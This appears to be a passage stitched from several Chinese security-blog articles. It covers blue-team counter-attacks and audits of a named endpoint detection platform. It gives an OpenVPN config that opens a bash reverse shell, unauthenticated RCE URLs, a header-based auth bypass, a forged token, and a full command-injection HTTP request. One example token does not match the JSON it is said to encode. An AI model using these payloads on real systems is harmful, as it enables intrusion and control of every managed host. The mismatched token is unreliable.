OpenVPN配置文件（OVPN文件，是提供给OpenVPN客户端或服务器的配置文件）是可以修改并加入命令的。

OVPN文件最简单的形式如下：

remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun

以上文件表示，客户端会以开放的，不用身份验证或加密方式去连接IP为192.168.31.137的远程服务，在此过程中，会建立一种名为tun的路由模式，用它来在系统不同客户端间执行点对点协议，例如，这里的tun路由模式下，tun客户端为10.200.0.2，tun服务端为10.200.0.1，也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例，真正应用环境中的OVPN文件随便都是数百行，其中包含了很多复杂的功能配置。

OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令，官方文档中有说明：https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/

成功启用 TUN/TAP 模式后的 cmd 命令。

该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号，或者是反斜杠来强调，中间用空格区分。up命令可用于指定路由，这种模式下，发往VPN另一端专用子网的IP流量会被路由到隧道中去。

本质上，up命令会执行任何你指向的脚本程序。如果受害者使用的是支持/dev/tcp的Bash命令版本，那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。

remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'"

需要注意的是，up 命令需要成功连接主机才会执行，也就是说192.168.31.137需要真实存在。

兵器漏洞

可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞（需要一定的技术水平），或利用历史漏洞部署相关环境进行反打，例如蚁剑：https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md

历史版本中出现诸多XSS漏洞->RCE：

文末

只要思维活跃，枯燥无味的一件事情也可以变得生动有趣，生活如此，工作亦如此。

蓝队反制，需要具备这几个条件才能淋漓尽至的挥洒出来：

1. 客户安全相关部门的权力要高
2. 以自家厂商为主导的防守项目
3. 最好具备现成的现代蜜罐产品

未来，攻防对抗演习不仅仅是前几年所展示的那样：蓝队只要知道防守手段；而趋势将会慢慢的偏向于真正的攻防，蓝队不仅要会基本的防守手段，还要具备强悍的对抗能力，与红队进行对抗，这对蓝队成员的攻防技术水平也是一种更高的考验。

最后的最后：HACK THE WORLD - TO DO IT.

Reference

对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1

从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html

某终端检测响应平台代码审计分析 前言

2020年08月17日收到一条漏洞情报，某终端检测响应平台代码未授权RCE：/tool/log/c.php?strip_slashes=system&host=id

参数：host，可以修改任意的系统命令进行执行。

原理分析

首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制，所以我们只需要看一下请求参数是如何传递的，搜索关键词：

$_POST $_GET $_REQUEST

在代码第144行、146行分别调用了变量匿名函数，并将$_REQUEST作为传递参数：

$show_form($_REQUEST); ... $main($_REQUEST);

先跟进$show_form这个匿名函数：

$show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; };

变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id");

接下来执行extract($params);，后进入如下代码：

$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";

在这个过程中就产生了漏洞，想要了解具体原因，我们需要了解extract函数的作用，该函数是根据数组的key=>value创建变量$key=value（官方解释：extract — Import variables into the current symbol table from an array）

知道其函数作用之后，我们就大致明白漏洞原因了。

首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id");

经过extract()函数后，赋值了2个变量：

$strip_slashes = 'system'; $host = 'id';

在第91行代码，变量$host利用三元运算重新赋值$strip_slashes($host)

而实际上其赋值内容是函数system('id')的返回结果，这也就造成了命令执行漏洞。

同类漏洞寻找

首先在全局文件中搜索$_GET、$_POST、$_REQUEST和extract(，其次在这些文件中使用正则寻找变量函数传递变量：\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)

Linux grep寻找命令：

grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"

简单分析获得了另外三处RCE：

/tool/php_cli.php?strip_slashes=system&code=id /tool/ldb_cli.php?strip_slashes=system&json=id /tool/mdd_sql.php?strip_slashes=system&root=id

但无法真正利用，三处文件开头都有一个类似文件存活的判断，不存在代码则die退出，而默认环境上是存在：

最后

该套程序还有诸多漏洞未被披露出来，建议采用ACL控制访问或下线该业务，等待官方升级补丁。

某终端检测响应平台代码审计挖掘（权限绕过） 前言

前几天收到某终端检测响应平台代码未授权RCE的漏洞情报，基本上被师傅们玩的差不多了，基于其他社群传出的源代码进行代码审计挖掘。

本文不会对太多细节进行描述，仅做一个流程分析和梳理，文中若有不当之处还望各位师傅斧正。

审计流程

其源代码的大致目录如下：

. ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip

其中/web为Web服务目录，文件均可通过HTTP服务进行访问，顾我们从该目录下的文件下手审计。

ldb_mapreduce_invoke 函数分析

不是一把梭的0day都不叫0day，寻找能勾起兴趣的文件，发现了它（文件名带有upload）/bin/web/divideUploader.php：

if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开，后台登录时间不刷新 $update = (isset($_POST['auto']) && $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... }

访问没有做限制，只要HTTP请求类型为POST就进入上传功能代码逻辑流程，三元运算很简单不用看，我们来看下这段代码：

ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);

跟进函数：ldb_mapreduce_invoke，文件：/bin/mapreduce/core.php（line 19）：

/* * 全局的mapreduce对象，提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口，变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数，如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce->$func, $params); }

接收自定义参数列表：$params = func_get_args();（ 该函数以数组形式返回，获取当前函数的所有传入参数值 ），在这就是array('call_method','util.common.auth', 'app_auth_check', $update)

赋值（ $params[0] = 'call_method' ） $func，检查 $func 属性是否存在于指定的类（ $ldb_mapreduce ）中：

$func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; }

最后call_user_func函数回调，调用$ldb_mapreduce->call_method方法，继续跟进此方法（ line 239 ）：

$ldb_mapreduce->call_method = function ($params) { if (count($params) < 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object->get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object->$method)) { return false; } return call_user_func_array($object->$method, $params); };

简单理解，这是一个匿名函数，形参 $params（ 在这里也就表示array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update) ），判断 $params 数组长度是否小于3，在这里明显不小于，所以继续跟进赋值变量，其一一对应内容为：

$object = array_shift($params); // -> $ldb_mapreduce $id = array_shift($params); // -> util.common.auth $method = array_shift($params); // -> app_auth_check

赋值完成之后进入回调函数：$object = call_user_func($object->get, array($object, $id));，调用$ldb_mapreduce->get传入array($object, $id))，接下来继续跟进$ldb_mapreduce->get：

/* * 获取组件 * @param array $params 参数数组，array(对象, 名称) * @return callable 返回组件构造器，如果没有构造器返回null */ $ldb_mapreduce->get = function ($params) use(&$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object->$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object->$component); if (!array_key_exists($id, $object->$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object->$component; return $components[$id]; };

由于代码过长，很多可以直接在本地调试输出，大概解释下这里的意思，就是将$id = 'util.common.auth';处理变成路径$php = dirname(__FILE__)."/$path.php";，结果就是/bin/mapreduce/util/common/auth.php

接着require_once（ 包含 ）这个文件，最后将auth.php文件公开的注册接口返回：

至此，我们对ldb_mapreduce_invoke函数的分析就差不多了，最后又是一个call_user_func回调函数调用auth.php接口app_auth_check：

return call_user_func_array($func, $params); app_auth_check 函数分析

app_auth_check函数就是检测当前是否具备访问接口权限下，代码如下：

$app_auth_check = function ($update=true) use(&$login_authed_check, &$sess_keyvalue_get, &$timeout_check, &$dc_session_destroy, &$login_redirect, &$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app，则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆，则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; };

逐个逻辑跟进分析即可，最后发现特权IP登陆的判断有问题：

$is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; }

跟进函数super_ip_check，发现这里获取的了HTTP请求头（$_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For）与$super_ip进行判断：

$super_ip_check = function() use(&$get_super_ip, &$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } };

阅读以上代码知道$super_ip是通过回调函数调用get_super_ip的结果，这里还需要再跟进get_super_ip函数：

$get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; };

在这段代码中我们得知其需要获取cssp_super_ip.ini文件的内容赋值变量$super_ip再进行return $super_ip，但默认环境下该文件不存在的，也就是说变量$super_ip默认就是空的。

那么我们只需要满足$user_addr == $super_ip这个条件，即可绕过这个函数（权限）检测，简而言之就是请求接口时带有请求头Y-Forwarded-For:即可。

漏洞利用

继续跟进divideUploader.php发现没办法直接利用（限制了上传路径和后缀）：

只能上传指定后缀到指定目录：

全局搜索app_auth_check函数发现/bin/mapreduce/目录下的很多接口都在最开始加了一层app_auth_check函数用来做权限判断，那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。

只能在/bin/web可直接访问目录下寻找，发现/bin/web/launch.php文件，其文件注释就表明了这个文件是应用程序通用执行入口，可以通过分析的方式构建请求（ 由于分析逻辑较简单这里就不带大家过一遍了，可以自自行分析 ），也可以通过前台的方式直接抓到该文件的请求：

POST请求传递JSON数据：

{"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}}

其对应关系如下

app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数

这里简单翻了下/bin/mapreduce/目录下的一些接口，根据其判断逻辑构建请求包，这里以获取所有终端列表为例（ 未授权 ）：

未加Y-Forwarded-For头请求，提示需要登陆：

添加后权限绕过，直接可以获取数据：

最后

此漏洞危害可以多接口搭配未授权下发脚本，控制所有植入Agent的服务器权限，影响版本：<3.2.21

吐槽：这套产品的代码逻辑真的太花里胡哨了，逻辑绕来绕去，阅读时可能需要一定耐心，文中省略了一些细节，但我已经尽量写的让大家能明白整个核心逻辑，感谢阅读。

某终端检测响应平台代码审计挖掘（RCE） 前言

继上一次对某终端检测响应平台权限绕过漏洞的审计流程，现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。

上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘，那么本次我们使用敏感函数回溯的方法（代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析）来进行漏洞挖掘。

审计流程 定位敏感函数

前文说到，不是一把梭的0day都不叫0day，所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索，敏感函数列表如下 :

exec() passthru() proc_open() shell_exec() system() popen() eval() //非函数 assert() preg_replace()

搜索关键词 exec(，发现一处文件 /ldb/dc.php 自定义了命令执行代码，函数体是调用的 exec 函数 :

/** * 执行外部程序 * @param string $command 执行命令 * @param array $output 输出信息 * @param int $ret 返回值 * @return string 返回执行结果 */ function ldb_exec($command, &$output, &$ret) { if (!ldb_is_linux()) { $data = exec($command, $output, $ret); } else { pcntl_signal(SIGCHLD, SIG_DFL); $data = exec($command, $output, $ret); pcntl_signal(SIGCHLD, SIG_IGN); } return $data; } 寻找危险点 /bin/mapreduce/app/web/device_linkage/process_cssp.php exec_slog_action 匿名函数分析

如上所述，我们知道了 ldb_exec 函数为自定义命令执行代码，我们想寻找利用点就需要跟踪下该函数在哪被引用，然后分析具体的代码看是否可以利用。

老套路，全局搜索 ldb_exec( 发现有很多处调用了，其中阅读起来较为通俗易懂的为 /bin/mapreduce/app/web/device_linkage/process_cssp.php 的匿名函数 $exec_slog_action :

$exec_slog_action = function($object,$params){ $data = $params["data"]; if (!isset($data["params"])) { ldb_error("required parameter missing params is".json_encode($params)); $object->err_code = EXEC_SLOG_ACTION_PARAM_ERROR; return -1; } $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check", "shell_argv_transform", $data["params"]); $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; ldb_debug("exec command: ".$command); ldb_exec($command, $output, $ret); if ($ret !== 0) { ldb_error("exec slog action fail, command: $command, error: ".$output); $object->err_code = EXEC_SLOG_ACTION_FAILED; return -1; } $data = $output; response_linkage_dev_msg(SUCCESS,$data); return 0; };

这段代码很容易理解，赋值校验，再过一遍 /bin/mapreduce/app/web/common/validation/shell_injection_check 文件 函数 shell_argv_transform :

// 转义参数 $shell_argv_transform = function($argv) use(&$shell_argv_transform) { $type = strtolower(gettype($argv)); if ($type == "array") { foreach ($argv as $key => $value) { $argv[$key] = $shell_argv_transform($value); } } else if (!is_null($argv) && !empty($argv)) { $argv = escapeshellarg($argv); } return $argv; };

这就是一段简单的转义，如果传入的变量 $argv 是数组则遍历进行函数递归最后通过 escapeshellarg 函数转义（ 官方释义: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。 ），如果不是数组则直接进行增加转义。

继续跟进看代码，你会发现 $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; 是拼接的，最后经过 ldb_exec 进行命令执行，我们可以使用管道符的方式进行其他命令的注入: |whoami，但这里巧妙的是经过 escapeshellarg 函数处理后注入的命令就变成了 '|whoami'，最后执行的命令就变成了: curl -k 'http://127.0.0.1:9081/?'|whoami''，直接帮助我们闭合命令了。

那么我们只需要可以控制 $params['data']['params'] 的值即可进行命令执行。

控制点寻找 /bin/web/dev_linkage_launch.php get_opr 函数分析

由于 /bin/mapreduce/ 下的文件，我们没办法直接访问调用就需要全局搜索 exec_slog_action 看下谁调用了这段代码，发现文件 /bin/web/dev_linkage_launch.php（ 此处应感觉到兴奋，毕竟我们能访问的路径就是 /bin/web/ ） 有一处可疑函数体（ 函数 get_opr ） :

function get_opr($req_url){ ... //CSSP请求 if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){ return EXEC_SLOG_ACTION; } ... //检查url的合法性 if($req_url !== AGENT_INFO_URL && $req_url !== SCAN_ABOUT_URL && $req_url !== EDR_INFO_ABOUT_URL && $req_url !== EVIDENCE_INFO_URL){ ldb_error("no response about this url :".$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } //获取url中的参数 $url_params = get_url_param(); $method = $url_params[METHOD]; global $opr_arr; if(isset($opr_arr[$method])){ $opr = $opr_arr[$method]; } else{//无此url的响应 ldb_error("no response about this url: " .$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } return $opr; }

判断变量 $req_url 值是否与常量 STD_CSSP_EXEC_SLOG_ACTION_URL 值一致，一致则返回常量 EXEC_SLOG_ACTION，最后如果请求的地址非常量中定义的，则进行URL判断合法性（ 我们没办法直接访问 dev_linkage_launch.php ）。

我们先看常量 STD_CSSP_EXEC_SLOG_ACTION_URL 对应值，直接看代码开头包含了哪些文件即可 :

最终发现 /bin/mapreduce/app/web/device_linkage/common/common.php 中定义了常量 :

define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client"); define("EXEC_SLOG_ACTION","exec_slog_action");

知道了这些常量的定义，大致就明白了，（ 猜测 ）当我们访问 /api/edr/sangforinter/v2/cssp/slog_client 时，函数 get_opr 返回 exec_slog_action，也就是我们之前所发现存在安全风险的函数，这也仅仅是猜测，但想要证实这个猜测，我们就得啃一啃文件 /bin/web/dev_linkage_launch.php。

get_interface_data 函数分析

我们已经知道了函数 get_opr 的作用（ 返回接口方法 ），来看看在文件中的哪里被调用，发现一处调用 :

function get_interface_data($argv) { //获取url $req_url = $_SERVER['PHP_SELF']; //校验token check_token($req_url); //构造opr $opr = get_opr($req_url); //根据方法构造业务代码路径 $app_name = get_app_name($opr); $data = array(); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $data = get_body_data($argv); } //根据opr、app_name以及data构造数据 $interface_data = array(); $interface_data["app_args"]["name"] = $app_name; $interface_data["opr"] = $opr; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $interface_data["data"] = $data; } return $interface_data; }

函数 get_interface_data 调用了函数 get_opr，传递参数值为 $req_url = $_SERVER['PHP_SELF'];，也就是请求的 URI ( 例如请求地址为 http://localhost/chen.php 那么 $_SERVER['PHP_SELF'] 的值即为 /chen.php )。

注：这里证实了我们在分析 get_opr 函数时的猜测，请求的地址必须为 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中定义常量的地址，不能为 dev_linkage_launch.php。

那么想要进入调用函数 get_opr 的逻辑，我们需要先了解下函数 get_interface_data 的逻辑，在此之前我们需要确保自己不会做无用功，所以需要看下函数 get_interface_data 是否在上下文代码中被调用 :

该函数直接被入口函数调用，那么我们接下来就可以分析下该函数逻辑，根据注释我们了解到这里会校验token，也就是函数 check_token。

check_token 绕过

跟进函数 check_token，其代码如下 :

/** * @func 检验token * @param string $req_url 联动的url * @throws Exception */ function check_token($req_url){ //CSSP接口使用特权IP的方式进行校验 if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false && $req_url != STD_CSSP_SET_KEY_URL) { parse_str($_SERVER['QUERY_STRING'],$query_str_parsed); if(!isset($query_str_parsed[TOKEN])) { throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN")); } $ret = check_access_token($query_str_parsed[TOKEN], $req_url); if ($ret == 1) { response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED); die(); } } //判断url 需不需要进行校验token if($req_url == AGENT_INFO_URL || $req_url == SCAN_ABOUT_URL || $req_url == EDR_INFO_ABOUT_URL || $req_url == EVIDENCE_INFO_URL){ //校验token $url_params = get_url_param(); $ret = token_valid($url_params[TOKEN]); if($ret){ response_linkage_dev_msg($ret); die(); } } }

简单理解就是获取所有请求参数，并获取参数 token 的值带入函数 check_access_token，最后的返回结果不为 1 即可成功验证token，我们继续跟进该函数，文件 /bin/web/ui/php/platform.php :

/** * 检验cssp请求的token * @return 0/1 成功/失败 */ function check_access_token($access_token, $req_url){ $token_str = base64_decode($access_token); $json_token = json_decode($token_str, true); $key = get_item_from_os_json("privateKey"); if($key == "" && $req_url == STD_CSSP_DOWN_CONF_URL) { $key = STD_CSSP_DEFAULT_KEY; } $md5_str = md5($key.$json_token["random"]); if($md5_str == $json_token["md5"]) { return 0; } ldb_error("check token failed"); return 1; }

参数 token 的值需要经过Base64解码、JSON转换（ 将JSON转为数组 ），最后字段 random 与变量 $key 拼接进行md5加密的值与字段 md5 一样则可以进入 return 0; 否则就是 return 1;（ 我们就需要返回为0才可过token验证 ）。

那在这我们需要知道变量 $key 是怎么样获取到的，跟进函数 get_item_from_os_json :

/** * 从/etc/cssp_custom_image/os.json中获取指定值 * @param $key os.json中的键 * @return 返回指定键对应的值 */ function get_item_from_os_json($key){ $item = ""; $file_path = "/etc/cssp_custom_image/os.json"; if(file_exists($file_path)){ $os_json = get_json_from_file($file_path); if ($os_json === null) { ldb_error("target file is null"); return ""; } $item = $os_json[$key]; } return $item; }

发现这里实际意义上就是将 $file_path = "/etc/cssp_custom_image/os.json"; 带入 get_json_from_file 函数，继续跟进这个函数 :

/** * 从文件读取一个json * @param conf_file 文件路径+文件名 * @return data_arry 返回一个关联数组 */ function get_json_from_file($conf_file){ if (!file_exists($conf_file)) { ldb_error("err:file null"); return null; } $json_string = file_get_contents($conf_file); $data_arry = json_decode($json_string, true); if (is_null($data_arry)) { ldb_error("get json from file failed"); return null; } return $data_arry; }

该函数就是从文件中读取JSON，并转为数组返回，我们想要知道具体内容就要看下初始的 /etc/cssp_custom_image/os.json 文件内容，但笔者这里安装默认情况下该文件是不存在的 :

那在这里其返回的就是空，这时候我们再回到函数 check_access_token，其代码（ 代码上文中已经列出 ）逻辑当变量 $key 值为空并且 $req_url == STD_CSSP_DOWN_CONF_URL（ define("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf"); ） 的情况下变量 $key 值为常量 STD_CSSP_DEFAULT_KEY 的值，即: define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");（ 常量定义在 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中 ）。

但此处我们的变量 $req_url 为 /api/edr/sangforinter/v2/cssp/slog_client 并不符合逻辑条件，所以变量 $key 还是为空的。

那我们可以根据代码逻辑直接构建token值，首先是JSON内容有两个字段random、md5，还要满足字段md5的值等于md5(字段random)的值，所以我们要提前先设置字段random为1，随后进行md5加密并将结果赋予字段md5即可 :

{"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"}

最后进行Base64编码 : eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==

至此我们就绕过了token校验限制。

逻辑梳理

我们来梳理函数 get_interface_data 的逻辑，其通过函数 get_opr 反回值带入函数 get_app_name 获取具体代码路径，而后当HTTP请求类型为POST时获取请求正文（ POST数据，如下函数 get_body_data，将请求正文的JSON转为数组 ），通过构建数组将数据填充进去，并返回该数组。（ 简单梳理，具体请看代码 ）

/** * @fun 根据协议body中的内容来构造data中的内容 * @param array $argv 输入的参数 * @return array $params 联动设备传来的body */ function get_body_data($argv){ $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf"; if(file_exists($ini_file)){ if (0 != strlen(ldb_post_json())) { $docker_data = ldb_get_post($argv); return $docker_data; } } $params = array(); if(0 != strlen(ldb_post_json())) { $params = ldb_get_post($argv); } return $params; }

我们已经知道了函数 get_interface_data 的逻辑，再跟进调用其的函数 ldb_execute_app 即可。

ldb_execute_app 函数分析

阅读过«对某终端检测响应平台权限绕过漏洞的审计流程»该分享的读者，大致就能理解这里函数的作用了：

/** * @func APP通用入口函数，将联动发来的信息转换成EDR通用的前后端接口 * @param array $args 输入的参数 */ function ldb_execute_app($args) { try { //构造成业务统一处理的接口 $interface_data = get_interface_data($args); // 检验请求信息是否包含注入关键字 $ignore_check = read_ignore_check_info(); if(mongo_injection_check($interface_data, $ignore_check) === TRUE) { response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR); ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data)); return ; } //特殊开权限控制函数 special_auth($interface_data); //授权控制 authorize_check($interface_data); ldb_debug("interface_data is " . json_encode($interface_data)); $app = $interface_data["app_args"]["name"]; $constructor = ldb_mapreduce_invoke("get", $app); // 构建应用对象 $instance = call_user_func($constructor); $ret = call_user_func($instance->main, $instance, $interface_data); //响应出错返回相应的状态码 if ($ret) { $err_code = call_user_func($instance->res, $instance); response_linkage_dev_msg($err_code); } // 销毁应用对象 call_user_func($instance->destroy, $instance); } catch(Exception $e){ //通知联动设备 $err_msg = $e->getMessage(); response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR); } } // 入口函数 $args = ldb_argv_get(); ldb_execute_app($args);

ldb_execute_app 函数传入参数为变量 $args，该值通过函数 ldb_argv_get 获取，跟进发现就是获取的 URI 部分。

/** * 获取命令行参数 * @return array 返回命令行参数 */ function ldb_argv_get() { if (ldb_is_cli()) { global $argv; return $argv; } $args = array($_SERVER['PHP_SELF']); return $args; } 逻辑梳理与漏洞利用

由于之前的步骤都是逆推，这里我们直接顺着推一遍流程就能理清整个思路了。

假设在此我们访问的是 /api/edr/sangforinter/v2/cssp/slog_client，那就是其传入函数 get_interface_data，由于需要过 check_token，所以访问地址需为 /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=。

而后通过函数 get_opr 得到了 exec_slog_action，再根据 exec_slog_action 获得了具体代码路径 app.web.device_linkage.process_cssp，最后根据 opr、app_name 以及 data（ 这里的data需为POST请求方式时才有 ）构造数组返回，这里测试就是GET请求，最后返回数据为：

array(2) { ["app_args"]=> array(1) { ["name"]=> string(35) "app.web.device_linkage.process_cssp" } ["opr"]=> string(16) "exec_slog_action" }

变量 $interface_data 获取了函数 get_interface_data 的返回值，由于ldb_execute_app 函数代码很多，不过多赘述，有几处授权校验的函数，简单跟踪下看下注释就能了解CSSP请求不处理授权：

回调调用 app.web.device_linkage.process_cssp 的函数 main 传入变量 $instance、$interface_data（ 函数 get_interface_data 的返回值 ），那我们跟进 main 函数，又是回调函数调用 exec_slog_action 并传入变量 $object、$params （ 函数 get_interface_data 的返回值 ）。

这样无法造成命令执行，我们在之前 exec_slog_action 匿名函数分析 中了解到其要获取 $params['data']['params'] 带入命令执行语句中，由于我们测试的是GET请求，函数 get_interface_data 的返回值并没有 data['params'] 这个key，而刚好函数 get_interface_data 中的变量 $interface_data["data"] 会获取函数 get_body_data 处理请求正文的JSON内容转为数组的结果，所以我们修改请求方法为POST，请求正文为：{"params":"|whoami"}，即可进行命令注入从而执行。

// {"params":"|whoami"}` -> array('params' => '|whoami') $interface_data["data"] = array('params' => '|whoami');

POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1 Host: 192.168.31.136 Connection: close Content-Length: 20 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: https://192.168.31.136 Referer: https://192.168.31.136/ui/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 {"params":"|whoami"} 最后

熟悉了解了整个流程之后，其实还有更多利用点可以挖掘～本文就不过多的赘述了。

